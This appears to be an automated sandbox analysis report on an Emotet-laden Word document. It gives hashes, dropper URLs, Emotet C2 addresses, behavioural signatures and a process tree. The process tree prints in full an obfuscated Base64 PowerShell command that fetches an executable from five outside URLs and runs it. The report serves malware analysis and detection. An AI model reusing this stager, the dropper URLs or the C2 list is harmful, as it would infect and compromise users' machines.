Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    61s
  • max time network
    101s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    13/08/2020, 10:03

Sharing

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General

  • Target
    emotet_e2_476c19ca963d9a17e5e758320b98ec3c0fd457fc9c974651e838d52313f651ac_2020-08-13__085735._doc.doc
  • Size 227KB
  • Sample200813-gp18cykwfa
  • SHA256 476c19ca963d9a17e5e758320b98ec3c0fd457fc9c974651e838d52313f651ac
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://katebayless.com/lc5_146_ekvvs/
  • exe.dropper

    http://maxsoft.cz/ajnt_e7v_uyoi/
  • exe.dropper

    http://juniorsplayground.net/q_9q9g8_wf/
  • exe.dropper

    http://muliarental.com/65l_1po_7v7k0864m/
  • exe.dropper

    http://morlo.net/cgi-bin/4kg_v47_gs79hfwr5u/

Extracted

Family

  • emotet

C2

  • 174.102.48.180:80

  • 192.210.135.126:8080

  • 67.205.85.243:8080

  • 47.146.32.175:80

  • 116.203.32.252:8080

  • 189.212.199.126:443

  • 72.12.127.184:443

  • 180.92.239.110:8080

  • 103.86.49.11:8080

  • 181.230.116.163:80

  • 157.147.76.151:80

  • 74.120.55.163:80

  • 121.124.124.40:7080

  • 79.98.24.39:8080

  • 142.105.151.124:443

  • 167.86.90.214:8080

  • 24.179.13.119:80

  • 62.138.26.28:8080

  • 165.165.171.160:8080

  • 74.208.45.104:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_476c19ca963d9a17e5e758320b98ec3c0fd457fc9c974651e838d52313f651ac_2020-08-13__085735._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:112
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABOAEMAUwBXAE0AaAB0AHgAPQAnAFEATwBQAEUAVQByAHIAbwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBjAGAAVQBSAEkAdABZAGAAUAByAG8AdABvAGMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAUABQAFMAQQBPAGkAdwByACAAPQAgACcAOAAyACcAOwAkAEQARwBLAEQARwByAHIAZQA9ACcAVABZAEEAWgBDAHkAdgBlACcAOwAkAEMARwBJAEkARQBzAHIAdgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAUABQAFMAQQBPAGkAdwByACsAJwAuAGUAeABlACcAOwAkAEYAVABBAE8ARwBvAGEAaAA9ACcATABWAEEASgBBAGcAawBuACcAOwAkAEsASgBTAEMAWQB5AHEAaQA9ACYAKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAJwArACcAZQBjACcAKwAnAHQAJwApACAATgBFAHQALgB3AEUAQgBjAEwAaQBlAE4AdAA7ACQATQBLAEQAVgBDAHYAaAB1AD0AJwBoAHQAdABwADoALwAvAGsAYQB0AGUAYgBhAHkAbABlAHMAcwAuAGMAbwBtAC8AbABjADUAXwAxADQANgBfAGUAawB2AHYAcwAvACoAaAB0AHQAcAA6AC8ALwBtAGEAeABzAG8AZgB0AC4AYwB6AC8AYQBqAG4AdABfAGUANwB2AF8AdQB5AG8AaQAvACoAaAB0AHQAcAA6AC8ALwBqAHUAbgBpAG8AcgBzAHAAbABhAHkAZwByAG8AdQBuAGQALgBuAGUAdAAvAHEAXwA5AHEAOQBnADgAXwB3AGYALwAqAGgAdAB0AHAAOgAvAC8AbQB1AGwAaQBhAHIAZQBuAHQAYQBsAC4AYwBvAG0ALwA2ADUAbABfADEAcABvAF8ANwB2ADcAawAwADgANgA0AG0ALwAqAGgAdAB0AHAAOgAvAC8AbQBvAHIAbABvAC4AbgBlAHQALwBjAGcAaQAtAGIAaQBuAC8ANABrAGcAXwB2ADQANwBfAGcAcwA3ADkAaABmAHcAcgA1AHUALwAnAC4AIgBTAHAAYABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEMAWQBMAEYAVQBjAHUAZAA9ACcAUQBQAE4ARwBZAG4AYwBpACcAOwBmAG8AcgBlAGEAYwBoACgAJABVAE4ASQBWAFQAbwBpAGcAIABpAG4AIAAkAE0ASwBEAFYAQwB2AGgAdQApAHsAdAByAHkAewAkAEsASgBTAEMAWQB5AHEAaQAuACIAZABPAFcATgBgAEwAbwBBAGQARgBJAGAATABFACIAKAAkAFUATgBJAFYAVABvAGkAZwAsACAAJABDAEcASQBJAEUAcwByAHYAKQA7ACQATABPAEEAVwBEAHkAYwBnAD0AJwBaAEsAWQBVAE8AbwBvAHMAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAdAAnACsAJwBlAG0AJwApACAAJABDAEcASQBJAEUAcwByAHYAKQAuACIAbABFAGAATgBgAGcAVABIACIAIAAtAGcAZQAgADIANAA2ADkAMwApACAAewAuACgAJwBJACcAKwAnAG4AdgBvAGsAZQAtACcAKwAnAEkAdABlACcAKwAnAG0AJwApACgAJABDAEcASQBJAEUAcwByAHYAKQA7ACQAQQBZAFkAVQBEAGoAawBzAD0AJwBGAFcATgBHAFIAeQB6AHkAJwA7AGIAcgBlAGEAawA7ACQARwBWAE0AQwBPAHQAdQBzAD0AJwBWAEEAWQBSAEcAaAB6AGkAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATQBVAFcATQBTAGcAYgBiAD0AJwBMAEQARwBXAFAAcQBlAG0AJwA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1764
    • C:\Users\Admin\82.exe
      "C:\Users\Admin\82.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1820
      • C:\Windows\SysWOW64\werdiagcontroller\sxs.exe
        "C:\Windows\SysWOW64\werdiagcontroller\sxs.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1560

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/112-5-0x000000000ACA0000-0x000000000ACA4000-memory.dmp
        Download

        memory/112-6-0x000000000BD20000-0x000000000BD24000-memory.dmp
        Download

        memory/112-7-0x0000000007110000-0x0000000007310000-memory.dmp
        Download

        memory/112-8-0x0000000007110000-0x0000000007310000-memory.dmp
        Download

        memory/112-2-0x0000000008B80000-0x0000000008B84000-memory.dmp
        Download

        memory/112-23-0x0000000002020000-0x0000000002021000-memory.dmp
        Download

        memory/992-24-0x000007FEF25D0000-0x000007FEF284A000-memory.dmp
        Download

        memory/1560-22-0x0000000000290000-0x000000000029C000-memory.dmp
        Download

        memory/1764-9-0x000007FEF2380000-0x000007FEF2D6C000-memory.dmp
        Download

        memory/1764-15-0x000000001B4F0000-0x000000001B4F1000-memory.dmp
        Download

        memory/1764-14-0x000000001B3A0000-0x000000001B3A1000-memory.dmp
        Download

        memory/1764-13-0x00000000024A0000-0x00000000024A1000-memory.dmp
        Download

        memory/1764-12-0x0000000002540000-0x0000000002541000-memory.dmp
        Download

        memory/1764-11-0x000000001AA30000-0x000000001AA31000-memory.dmp
        Download

        memory/1764-10-0x00000000023D0000-0x00000000023D1000-memory.dmp
        Download

        memory/1820-18-0x00000000002D0000-0x00000000002DC000-memory.dmp
        Download